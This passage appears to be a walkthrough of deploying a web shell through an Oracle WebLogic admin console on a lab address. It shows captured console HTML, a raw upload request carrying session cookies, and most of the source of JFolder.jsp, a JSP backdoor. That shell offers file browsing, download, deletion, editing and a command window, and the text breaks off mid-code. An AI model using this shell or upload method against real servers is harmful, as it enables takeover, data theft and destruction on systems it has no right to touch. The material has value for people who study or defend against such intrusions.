    _aaa = new TreeNode('CoherenceServersConfigPage',_aa, 'Coherence Servers', '/console/console.portal?_nfpb=true&amp;_pageLabel=CoherenceServersConfigPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Coherence Servers', false, false);
    _aaa = new TreeNode('CoherenceGlobalCoherenceClustersPage',_aa, 'Coherence Clusters', '/console/console.portal?_nfpb=true&amp;_pageLabel=CoherenceGlobalCoherenceClustersPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Coherence Clusters', false, false);
    _aaa = new TreeNode('CoreMachineMachineTablePage',_aa, 'Machines', '/console/console.portal?_nfpb=true&amp;_pageLabel=CoreMachineMachineTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Machines', false, false);
    _aaa = new TreeNode('CoreWorkManagerTable',_aa, 'Work Managers', '/console/console.portal?_nfpb=true&amp;_pageLabel=CoreWorkManagerTable', 'images/spacer.gif', 'images/spacer.gif', null, 'Work Managers', false, false);
    _aaa = new TreeNode('CoreClassesClassDeploymentTablePage',_aa, 'Startup and Shutdown Classes', '/console/console.portal?_nfpb=true&amp;_pageLabel=CoreClassesClassDeploymentTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Startup and Shutdown Classes', false, false);
    _aa = new TreeNode('AppDeploymentsControlPage',_a, 'Deployments', '/console/console.portal?_nfpb=true&amp;_pageLabel=AppDeploymentsControlPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Deployments', false, false);
    _aa = new TreeNode('ServicesSummaryPage',_a, 'Services', '/console/console.portal?_nfpb=true&amp;_pageLabel=ServicesSummaryPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Services', false, true);
    _aaa = new TreeNode('ServicesJmsSummaryPage',_aa, 'Messaging', '/console/console.portal?_nfpb=true&amp;_pageLabel=ServicesJmsSummaryPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Messaging', false, true);
    _aaaa = new TreeNode('JmsServerJMSServerTablePage',_aaa, 'JMS Servers', '/console/console.portal?_nfpb=true&amp;_pageLabel=JmsServerJMSServerTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'JMS Servers', false, false);
    _aaaa = new TreeNode('JmsSAFAgentSAFAgentTablePage',_aaa, 'Store-and-Forward Agents', '/console/console.portal?_nfpb=true&amp;_pageLabel=JmsSAFAgentSAFAgentTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Store-and-Forward Agents', false, false);
    _aaaa = new TreeNode('JmsModulesTablePage',_aaa, 'JMS Modules', '/console/console.portal?_nfpb=true&amp;_pageLabel=JmsModulesTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'JMS Modules', false, false);
    _aaaa = new TreeNode('PathServiceTablePage',_aaa, 'Path Services', '/console/console.portal?_nfpb=true&amp;_pageLabel=PathServiceTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Path Services', false, false);
    _aaaa = new TreeNode('BridgeMessagingBridgeTablePage',_aaa, 'Bridges', '/console/console.portal?_nfpb=true&amp;_pageLabel=BridgeMessagingBridgeTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Bridges', false, true);
    _aaaaa = new TreeNode('JmsBridgedestinationJMSBridgeDestinationTablePage',_aaaa, 'JMS Bridge Destinations', '/console/console.portal?_nfpb=true&amp;_pageLabel=JmsBridgedestinationJMSBridgeDestinationTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'JMS Bridge Destinations', false, false);
    _aaa = new TreeNode('GlobalJDBCDataSourceTablePage',_aa, 'Data Sources', '/console/console.portal?_nfpb=true&amp;_pageLabel=GlobalJDBCDataSourceTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Data Sources', false, false);
    _aaa = new TreeNode('JmsStoresJMSStoreTablePage',_aa, 'Persistent Stores', '/console/console.portal?_nfpb=true&amp;_pageLabel=JmsStoresJMSStoreTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Persistent Stores', false, false);
    _aaa = new TreeNode('ForeignJNDIProviderTablePage',_aa, 'Foreign JNDI Providers', '/console/console.portal?_nfpb=true&amp;_pageLabel=ForeignJNDIProviderTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Foreign JNDI Providers', false, false);
    _aaa = new TreeNode('WorkContextPathTablePage',_aa, 'Work Contexts', '/console/console.portal?_nfpb=true&amp;_pageLabel=WorkContextPathTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Work Contexts', false, false);
    _aaa = new TreeNode('XMLRegistryXMLRegistryTablePage',_aa, 'XML Registries', '/console/console.portal?_nfpb=true&amp;_pageLabel=XMLRegistryXMLRegistryTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'XML Registries', false, false);
    _aaa = new TreeNode('XMLEntityCacheTablePage',_aa, 'XML Entity Caches', '/console/console.portal?_nfpb=true&amp;_pageLabel=XMLEntityCacheTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'XML Entity Caches', false, false);
    _aaa = new TreeNode('JComClassTablePage',_aa, 'jCOM', '/console/console.portal?_nfpb=true&amp;_pageLabel=JComClassTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'jCOM', false, false);
    _aaa = new TreeNode('MailMailSessionTablePage',_aa, 'Mail Sessions', '/console/console.portal?_nfpb=true&amp;_pageLabel=MailMailSessionTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Mail Sessions', false, false);
    _aaa = new TreeNode('FileT3FileT3TablePage',_aa, 'File T3', '/console/console.portal?_nfpb=true&amp;_pageLabel=FileT3FileT3TablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'File T3', false, false);
    _aaa = new TreeNode('DomainConfigJtaPage',_aa, 'JTA', '/console/console.portal?_nfpb=true&amp;_pageLabel=DomainConfigJtaPage&DomainConfigJtaPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29', 'images/spacer.gif', 'images/spacer.gif', null, 'JTA', false, false);
    _aa = new TreeNode('SecurityRealmRealmTablePage',_a, 'Security Realms', '/console/console.portal?_nfpb=true&amp;_pageLabel=SecurityRealmRealmTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Security Realms', false, false);
    _aa = new TreeNode('InteroperabilitySummaryPage',_a, 'Interoperability', '/console/console.portal?_nfpb=true&amp;_pageLabel=InteroperabilitySummaryPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Interoperability', false, true);
    _aaa = new TreeNode('WTCServerTablePage',_aa, 'WTC Servers', '/console/console.portal?_nfpb=true&amp;_pageLabel=WTCServerTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'WTC Servers', false, false);
    _aaa = new TreeNode('JoltConnectionPoolTablePage',_aa, 'Jolt Connection Pools', '/console/console.portal?_nfpb=true&amp;_pageLabel=JoltConnectionPoolTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Jolt Connection Pools', false, false);
    _aa = new TreeNode('DiagnosticsSummaryPage',_a, 'Diagnostics', '/console/console.portal?_nfpb=true&amp;_pageLabel=DiagnosticsSummaryPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Diagnostics', false, true);
    _aaa = new TreeNode('DiagnosticsLogTablePage',_aa, 'Log Files', '/console/console.portal?_nfpb=true&amp;_pageLabel=DiagnosticsLogTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Log Files', false, false);
    _aaa = new TreeNode('DiagnosticsModuleTablePage',_aa, 'Diagnostic Modules', '/console/console.portal?_nfpb=true&amp;_pageLabel=DiagnosticsModuleTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Diagnostic Modules', false, false);
    _aaa = new TreeNode('DiagnosticsImageTablePage',_aa, 'Diagnostic Images', '/console/console.portal?_nfpb=true&amp;_pageLabel=DiagnosticsImageTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Diagnostic Images', false, false);
    _aaa = new TreeNode('RequestPerformancePage',_aa, 'Request Performance', '/console/console.portal?_nfpb=true&amp;_pageLabel=RequestPerformancePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Request Performance', false, false);
    _aaa = new TreeNode('DiagnosticsArchiveTablePage',_aa, 'Archives', '/console/console.portal?_nfpb=true&amp;_pageLabel=DiagnosticsArchiveTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Archives', false, false);
    _aaa = new TreeNode('DiagnosticsContextTablePage',_aa, 'Context', '/console/console.portal?_nfpb=true&amp;_pageLabel=DiagnosticsContextTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Context', false, false);
    _aaa = new TreeNode('SNMPAgentsTablePage',_aa, 'SNMP', '/console/console.portal?_nfpb=true&amp;_pageLabel=SNMPAgentsTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'SNMP', false, false);

var messageCatalog = new Array(7);messageCatalog["tree.popup.collapsenode.label"] = "Collapse Node";messageCatalog["tree.popup.expandnode.label"] = "Expand Node";messageCatalog["tree.popup.expanded.label"] = "Expanded";messageCatalog["tree.popup.collapsed.label"] = "Collapsed";messageCatalog["tree.popup.of.label"] = "of";messageCatalog["tree.popup.selected.label"] = "Selected";messageCatalog["tree.popup.level.label"] = "Level";
    setHighlightedNodes( 'AppDeploymentsControlPage' );
    createTree(_a);
}
   document.write('<\/div>');
</script>

<form onsubmit='alert(this.nodeId);' method='post' id='HierarchyManagementForm' name='HierarchyManagementForm' action='/console/console.portal'>
<input type='hidden' name='action' value=''>
<input type='hidden' name='nodeId' value=''>
<input type='hidden' name='_nfpb' value='true'>
</form>

</div>
</div></div></div></div></div><div class="bottom"><div><div>&nbsp;</div></div></div></div></div></div></div><div id="QuickLinksBook" class="none"><div class="wlsc-book-content"><div id="QuickLinksPage" class="wlsc-page"><div id="QuickLinks" class="wlsc-frame"><div class="top"><div><div>&nbsp;</div></div></div><div class="middle"><div class="r"><div class="c"><div class="c2"><div class="wlsc-titlebar"><div class="float-container"><div class="wlsc-titlebar-title-panel"><h2>How do I...</h2></div><div class="wlsc-titlebar-button-panel">&#160;<a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_windowLabel=QuickLinks&amp;_state=minimized"><img src="/console/framework/skins/wlsconsole/images/titlebar-button-minimize.png" class="" title="Minimize" alt="Minimize "></a></div></div></div><div class="wlsc-window-content">



<ul>

    <li onmouseover="this.className='quicklinksrowover';" onmouseout="this.className='quicklinksrowout';">
      <a href="#" onclick="return wls.console.launchTaskHelp('applications.DeployEnterpriseApplications')">Install an Enterprise application</a></li>

    <li onmouseover="this.className='quicklinksrowover';" onmouseout="this.className='quicklinksrowout';">
      <a href="#" onclick="return wls.console.launchTaskHelp('applications.ConfigureEnterpriseApplications')">Configure an Enterprise application</a></li>

    <li onmouseover="this.className='quicklinksrowover';" onmouseout="this.className='quicklinksrowout';">
      <a href="#" onclick="return wls.console.launchTaskHelp('applications.UpdateEnterpriseApplication')">Update (redeploy) an Enterprise application</a></li>

    <li onmouseover="this.className='quicklinksrowover';" onmouseout="this.className='quicklinksrowout';">
      <a href="#" onclick="return wls.console.launchTaskHelp('applications.StopDeployedEnterpriseApplications')">Start and stop a deployed Enterprise application</a></li>

    <li onmouseover="this.className='quicklinksrowover';" onmouseout="this.className='quicklinksrowout';">
      <a href="#" onclick="return wls.console.launchTaskHelp('applications.MonitorEnterpriseApplications')">Monitor the modules of an Enterprise application</a></li>

    <li onmouseover="this.className='quicklinksrowover';" onmouseout="this.className='quicklinksrowout';">
      <a href="#" onclick="return wls.console.launchTaskHelp('ejb.DeployStandaloneEJBModules')">Deploy EJB modules</a></li>

    <li onmouseover="this.className='quicklinksrowover';" onmouseout="this.className='quicklinksrowout';">
      <a href="#" onclick="return wls.console.launchTaskHelp('web_applications.InstallWebApplications')">Install a Web application</a></li>

</ul>
</div></div></div></div></div><div class="bottom"><div><div>&nbsp;</div></div></div></div></div></div></div><div id="SystemStatusBook" class="none"><div class="wlsc-book-content"><div id="SystemStatusPage" class="wlsc-page"><div id="SystemStatus" class="wlsc-frame"><div class="top"><div><div>&nbsp;</div></div></div><div class="middle"><div class="r"><div class="c"><div class="c2"><div class="wlsc-titlebar"><div class="float-container"><div class="wlsc-titlebar-title-panel"><h2>System Status</h2></div><div class="wlsc-titlebar-button-panel">&#160;<a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_windowLabel=SystemStatus&amp;_state=minimized"><img src="/console/framework/skins/wlsconsole/images/titlebar-button-minimize.png" class="" title="Minimize" alt="Minimize "></a></div></div></div><div class="wlsc-window-content">


<p class="serverStatusHead">Health of Running Servers</p>
<div class="serverStatusDataArea">
  
  <div class="statusRow">
    <div class="statusBar" title="Failed (0)">
      <div id="serverStatusBarFail" style="width:1%">&nbsp;</div>
    </div>
    <div class="statusLabel">
      <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=DomainMonitorHealthPage&amp;DomainMonitorHealthPortletcolumn=Health&amp;DomainMonitorHealthPortletvalue=Failed&amp;DomainMonitorHealthPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29" 
         title="View list of servers with health of FAILED (0)">
        Failed (0)</a>
    </div>
  </div>
  
  <div class="statusRow">
    <div class="statusBar" title="Critical (0)">
      <div id="serverStatusBarCritical" style="width:1%">&nbsp;</div>
    </div>
    <div class="statusLabel">
       <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=DomainMonitorHealthPage&amp;DomainMonitorHealthPortletcolumn=Health&amp;DomainMonitorHealthPortletvalue=Critical&amp;DomainMonitorHealthPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29"
          title="View list of servers with health of CRITICAL (0)">
         Critical (0)</a>
    </div>
  </div>
  
  <div class="statusRow">
    <div class="statusBar" title="Overloaded (0)">
      <div id="serverStatusBarOverloaded" style="width:1%">&nbsp;</div>
    </div>
    <div class="statusLabel">
      <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=DomainMonitorHealthPage&amp;DomainMonitorHealthPortletcolumn=Health&amp;DomainMonitorHealthPortletvalue=Overloaded&amp;DomainMonitorHealthPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29"
         title="View list of servers with health of OVERLOADED (0)">
        Overloaded (0)</a>
    </div>
  </div>
  
  <div class="statusRow">
    <div class="statusBar" title="Warning (0)">
      <div id="serverStatusBarWarning" style="width:1%">&nbsp;</div>
    </div>
    <div class="statusLabel">
      <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=DomainMonitorHealthPage&amp;DomainMonitorHealthPortletcolumn=Health&amp;DomainMonitorHealthPortletvalue=Warning&amp;DomainMonitorHealthPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29"
         title="View list of servers with health of WARNING (0)">
        Warning (0)</a>
    </div>
  </div>
  
  <div class="statusRow">
    <div class="statusBar" title="OK (1)">
      <div id="serverStatusBarOk" style="width:100%">&nbsp;</div>
    </div>
    <div class="statusLabel">
      <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=DomainMonitorHealthPage&amp;DomainMonitorHealthPortletcolumn=Health&amp;DomainMonitorHealthPortletvalue=OK&amp;DomainMonitorHealthPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29"
         title="View list of servers with health of OK (1)">
        OK (1)</a>
    </div>
  </div>
  <div class="clear">&nbsp;</div>
</div>
</div></div></div></div></div><div class="bottom"><div><div>&nbsp;</div></div></div></div></div></div></div></div></div></div></div></div><div class="wlsc-footer"><div id="console-footer"><div class="info"><p id="footerVersion">WebLogic Server Version: 10.3.6.0</p><p id="copyright">Copyright &copy; 1996, 2011, Oracle and/or its affiliates. All rights reserved.</p><p id="trademark">Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.</p></div></div></div></body></html>

點選安裝,選擇“上載檔案”:

選擇需要上載的本地war包

上傳的資料包

POST /console/console.portal?AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp HTTP/1.1
Host: 192.168.52.128:7001
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.52.128:7001/console/console.portal?AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/selectUploadApp
Cookie: ADMINCONSOLESESSION=KWbTgzHTnd8sQS7lyhQ1NfjvynrllJtxLZ92R2RtTW9qnvnJNfg1!-1106686951; JSESSIONID=QrzGgzJTYv0TVjxk1Vl2zmcrX4n1Gg25SDWNLvJdfJkbzrRCvK7l!-1106686951
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------8434166712903
Content-Length: 32108

-----------------------------8434166712903
Content-Disposition: form-data; name="AppApplicationInstallPortletuploadAppPath"; filename="test3693.war"
Content-Type: application/octet-stream


<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
	 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	 xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
	 version="2.4">
    <session-config>
        <session-timeout>
            30
        </session-timeout>
    </session-config>
    <welcome-file-list>
	<welcome-file>
            index.jsp
        </welcome-file>
    </welcome-file-list>
</web-app>

%>
<%@ page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*" %>
<%!
private final static int languageNo=0; //語言版本,0 : 中文; 1:英文
String strThisFile="JFolder.jsp";
String[] authorInfo={" <font color=red> 寫的不好,將就著用吧 - - by 慈勤強 http://www.topronet.com </font>"," <font color=red> Thanks for your support - - by Steven Cee http://www.topronet.com </font>"};
String[] strFileManage   = {"文 件 管 理","File Management"};
String[] strCommand      = {"CMD 命 令","Command Window"};
String[] strSysProperty  = {"系 統 屬 性","System Property"};
String[] strHelp         = {"幫 助","Help"};
String[] strParentFolder = {"上級目錄","Parent Folder"};
String[] strCurrentFolder= {"當前目錄","Current Folder"};
String[] strDrivers      = {"驅動器","Drivers"};
String[] strFileName     = {"檔名稱","File Name"};
String[] strFileSize     = {"檔案大小","File Size"};
String[] strLastModified = {"最後修改","Last Modified"};
String[] strFileOperation= {"檔案操作","Operations"};
String[] strFileEdit     = {"修改","Edit"};
String[] strFileDown     = {"下載","Download"};
String[] strFileCopy     = {"複製","Move"};
String[] strFileDel      = {"刪除","Delete"};
String[] strExecute      = {"執行","Execute"};
String[] strBack         = {"返回","Back"};
String[] strFileSave     = {"儲存","Save"};

public class FileHandler
{
	private String strAction="";
	private String strFile="";
	void FileHandler(String action,String f)
	{
	
	}
}

public static class UploadMonitor {

		static Hashtable uploadTable = new Hashtable();

		static void set(String fName, UplInfo info) {
			uploadTable.put(fName, info);
		}

		static void remove(String fName) {
			uploadTable.remove(fName);
		}

		static UplInfo getInfo(String fName) {
			UplInfo info = (UplInfo) uploadTable.get(fName);
			return info;
		}
}

public class UplInfo {

		public long totalSize;
		public long currSize;
		public long starttime;
		public boolean aborted;

		public UplInfo() {
			totalSize = 0l;
			currSize = 0l;
			starttime = System.currentTimeMillis();
			aborted = false;
		}

		public UplInfo(int size) {
			totalSize = size;
			currSize = 0;
			starttime = System.currentTimeMillis();
			aborted = false;
		}

		public String getUprate() {
			long time = System.currentTimeMillis() - starttime;
			if (time != 0) {
				long uprate = currSize * 1000 / time;
				return convertFileSize(uprate) + "/s";
			}
			else return "n/a";
		}

		public int getPercent() {
			if (totalSize == 0) return 0;
			else return (int) (currSize * 100 / totalSize);
		}

		public String getTimeElapsed() {
			long time = (System.currentTimeMillis() - starttime) / 1000l;
			if (time - 60l >= 0){
				if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
				else return time / 60 + ":0" + (time % 60) + "m";
			}
			else return time<10 ? "0" + time + "s": time + "s";
		}

		public String getTimeEstimated() {
			if (currSize == 0) return "n/a";
			long time = System.currentTimeMillis() - starttime;
			time = totalSize * time / currSize;
			time /= 1000l;
			if (time - 60l >= 0){
				if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
				else return time / 60 + ":0" + (time % 60) + "m";
			}
			else return time<10 ? "0" + time + "s": time + "s";
		}

	}

	public class FileInfo {

		public String name = null, clientFileName = null, fileContentType = null;
		private byte[] fileContents = null;
		public File file = null;
		public StringBuffer sb = new StringBuffer(100);

		public void setFileContents(byte[] aByteArray) {
			fileContents = new byte[aByteArray.length];
			System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
		}
}

// A Class with methods used to process a ServletInputStream
public class HttpMultiPartParser {

		private final String lineSeparator = System.getProperty("line.separator", "\n");
		private final int ONE_MB = 1024 * 1;

		public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
				int clength) throws IllegalArgumentException, IOException {
			if (is == null) throw new IllegalArgumentException("InputStream");
			if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
					"\"" + boundary + "\" is an illegal boundary indicator");
			boundary = "--" + boundary;
			StringTokenizer stLine = null, stFields = null;
			FileInfo fileInfo = null;
			Hashtable dataTable = new Hashtable(5);
			String line = null, field = null, paramName = null;
			boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
			boolean isFile = false;
			if (saveFiles) { // Create the required directory (including parent dirs)
				File f = new File(saveInDir);
				f.mkdirs();
			}
			line = getLine(is);
			if (line == null || !line.startsWith(boundary)) throw new IOException(
					"Boundary not found; boundary = " + boundary + ", line = " + line);
			while (line != null) {
				if (line == null || !line.startsWith(boundary)) return dataTable;
				line = getLine(is);
				if (line == null) return dataTable;
				stLine = new StringTokenizer(line, ";\r\n");
				if (stLine.countTokens() < 2) throw new IllegalArgumentException(
						"Bad data in second line");
				line = stLine.nextToken().toLowerCase();
				if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
						"Bad data in second line");
				stFields = new StringTokenizer(stLine.nextToken(), "=\"");
				if (stFields.countTokens() < 2) throw new IllegalArgumentException(
						"Bad data in second line");
				fileInfo = new FileInfo();
				stFields.nextToken();
				paramName = stFields.nextToken();
				isFile = false;
				if (stLine.hasMoreTokens()) {
					field = stLine.nextToken();
					stFields = new StringTokenizer(field, "=\"");
					if (stFields.countTokens() > 1) {
						if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
							fileInfo.name = paramName;
							String value = stFields.nextToken();
							if (value != null && value.trim().length() > 0) {
								fileInfo.clientFileName = value;
								isFile = true;
							}
							else {
								line = getLine(is); // Skip "Content-Type:" line
								line = getLine(is); // Skip blank line
								line = getLine(is); // Skip blank line
								line = getLine(is); // Position to boundary line
								continue;
							}
						}
					}
					else if (field.toLowerCase().indexOf("filename") >= 0) {
						line = getLine(is); // Skip "Content-Type:" line
						line = getLine(is); // Skip blank line
						line = getLine(is); // Skip blank line
						line = getLine(is); // Position to boundary line
						continue;
					}
				}
				boolean skipBlankLine = true;
				if (isFile) {
					line = getLine(is);
					if (line == null) return dataTable;
					if (line.trim().length() < 1) skipBlankLine = false;
					else {
						stLine = new StringTokenizer(line, ": ");
						if (stLine.countTokens() < 2) throw new IllegalArgumentException(
								"Bad data in third line");
						stLine.nextToken(); // Content-Type
						fileInfo.fileContentType = stLine.nextToken();
					}
				}
				if (skipBlankLine) {
					line = getLine(is);
					if (line == null) return dataTable;
				}
				if (!isFile) {
					line = getLine(is);
					if (line == null) return dataTable;
					dataTable.put(paramName, line);
					// If parameter is dir, change saveInDir to dir
					if (paramName.equals("dir")) saveInDir = line;
					line = getLine(is);
					continue;
				}
				try {
					UplInfo uplInfo = new UplInfo(clength);
					UploadMonitor.set(fileInfo.clientFileName, uplInfo);
					OutputStream os = null;
					String path = null;
					if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
							fileInfo.clientFileName));
					else os = new ByteArrayOutputStream(ONE_MB);
					boolean readingContent = true;
					byte previousLine[] = new byte[2 * ONE_MB];
					byte temp[] = null;
					byte currentLine[] = new byte[2 * ONE_MB];
					int read, read3;
					if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
						line = null;
						break;
					}
					while (readingContent) {
						if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
							line = null;
							uplInfo.aborted = true;
							break;
						}
						if (compareBoundary(boundary, currentLine)) {
							os.write(previousLine, 0, read - 2);
							line = new String(currentLine, 0, read3);
							break;
						}
						else {
							os.write(previousLine, 0, read);
							uplInfo.currSize += read;
							temp = currentLine;
							currentLine = previousLine;
							previousLine = temp;
							read = read3;
						}//end else
					}//end while
					os.flush();
					os.close();
					if (!saveFiles) {
						ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
						fileInfo.setFileContents(baos.toByteArray());
					}
					else fileInfo.file = new File(path);
					dataTable.put(paramName, fileInfo);
					uplInfo.currSize = uplInfo.totalSize;
				}//end try
				catch (IOException e) {
					throw e;
				}
			}
			return dataTable;
		}

		/**
		 * Compares boundary string to byte array
		 */
		private boolean compareBoundary(String boundary, byte ba[]) {
			byte b;
			if (boundary == null || ba == null) return false;
			for (int i = 0; i < boundary.length(); i++)
				if ((byte) boundary.charAt(i) != ba[i]) return false;
			return true;
		}

		/** Convenience method to read HTTP header lines */
		private synchronized String getLine(ServletInputStream sis) throws IOException {
			byte b[] = new byte[1024];
			int read = sis.readLine(b, 0, b.length), index;
			String line = null;
			if (read != -1) {
				line = new String(b, 0, read);
				if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
			}
			return line;
		}

		public String getFileName(String dir, String fileName) throws IllegalArgumentException {
			String path = null;
			if (dir == null || fileName == null) throw new IllegalArgumentException(
					"dir or fileName is null");
			int index = fileName.lastIndexOf('/');
			String name = null;
			if (index >= 0) name = fileName.substring(index + 1);
			else name = fileName;
			index = name.lastIndexOf('\\');
			if (index >= 0) fileName = name.substring(index + 1);
			path = dir + File.separator + fileName;
			if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
			else return path.replace('/', File.separatorChar);
		}
} //End of class HttpMultiPartParser

String formatPath(String p)
{
	StringBuffer sb=new StringBuffer();
	for (int i = 0; i < p.length(); i++) 
	{
		if(p.charAt(i)=='\\')
		{
			sb.append("\\\\");
		}
		else
		{
			sb.append(p.charAt(i));
		}
	}
	return sb.toString();
}

	/**
	 * Converts some important chars (int) to the corresponding html string
	 */
	static String conv2Html(int i) {
		if (i == '&') return "&amp;";
		else if (i == '<') return "&lt;";
		else if (i == '>') return "&gt;";
		else if (i == '"') return "&quot;";
		else return "" + (char) i;
	}

	/**
	 * Converts a normal string to a html conform string
	 */
	static String htmlEncode(String st) {
		StringBuffer buf = new StringBuffer();
		for (int i = 0; i < st.length(); i++) {
			buf.append(conv2Html(st.charAt(i)));
		}
		return buf.toString();
	}
String getDrivers()
/**
Windows系統上取得可用的所有邏輯盤
*/
{
	StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");
	File roots[]=File.listRoots();
	for(int i=0;i<roots.length;i++)
	{
		sb.append(" <a href=\"javascript:doForm('','"+roots[i]+"\\','','','1','');\">");
		sb.append(roots[i]+"</a>&nbsp;");
	}
	return sb.toString();
}
static String convertFileSize(long filesize)
{
	//bug 5.09M 顯示5.9M
	String strUnit="Bytes";
	String strAfterComma="";
	int intDivisor=1;
	if(filesize>=1024*1024)
	{
		strUnit = "MB";
		intDivisor=1024*1024;
	}
	else if(filesize>=1024)
	{
		strUnit = "KB";
		intDivisor=1024;
	}
	if(intDivisor==1) return filesize + " " + strUnit;
	strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
	if(strAfterComma=="") strAfterComma=".0";
	return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
}
%>
<%
request.setCharacterEncoding("gb2312");
String tabID = request.getParameter("tabID");
String strDir = request.getParameter("path");
String strAction = request.getParameter("action");
String strFile = request.getParameter("file");
String strPath = strDir + "\\" + strFile; 
String strCmd = request.getParameter("cmd");
StringBuffer sbEdit=new StringBuffer("");
StringBuffer sbDown=new StringBuffer("");
StringBuffer sbCopy=new StringBuffer("");
StringBuffer sbSaveCopy=new StringBuffer("");
StringBuffer sbNewFile=new StringBuffer("");

if((tabID==null) || tabID.equals(""))
{
	tabID = "1";
}

if(strDir==null||strDir.length()<1)
{
	strDir = request.getRealPath("/");
}


if(strAction!=null && strAction.equals("down"))
{
	File f=new File(strPath);
	if(f.length()==0)
	{
		sbDown.append("檔案大小為 0 位元組,就不用下了吧");
	}
	else
	{
		response.setHeader("content-type","text/html; charset=ISO-8859-1");
		response.setContentType("APPLICATION/OCTET-STREAM");	
		response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");
		FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
		out.clearBuffer();
		int i;
		while ((i=fileInputStream.read()) != -1)
		{
			out.write(i);	
		}
		fileInputStream.close();
		out.close();
	}
}

if(strAction!=null && strAction.equals("del"))
{
	File f=new File(strPath);
	f.delete();
}

if(strAction!=null && strAction.equals("edit"))
{
	File f=new File(strPath);	
	BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
	sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n");
	sbEdit.append("<input type=hidden name=action value=save >\r\n");
	sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
	sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
	sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> ");
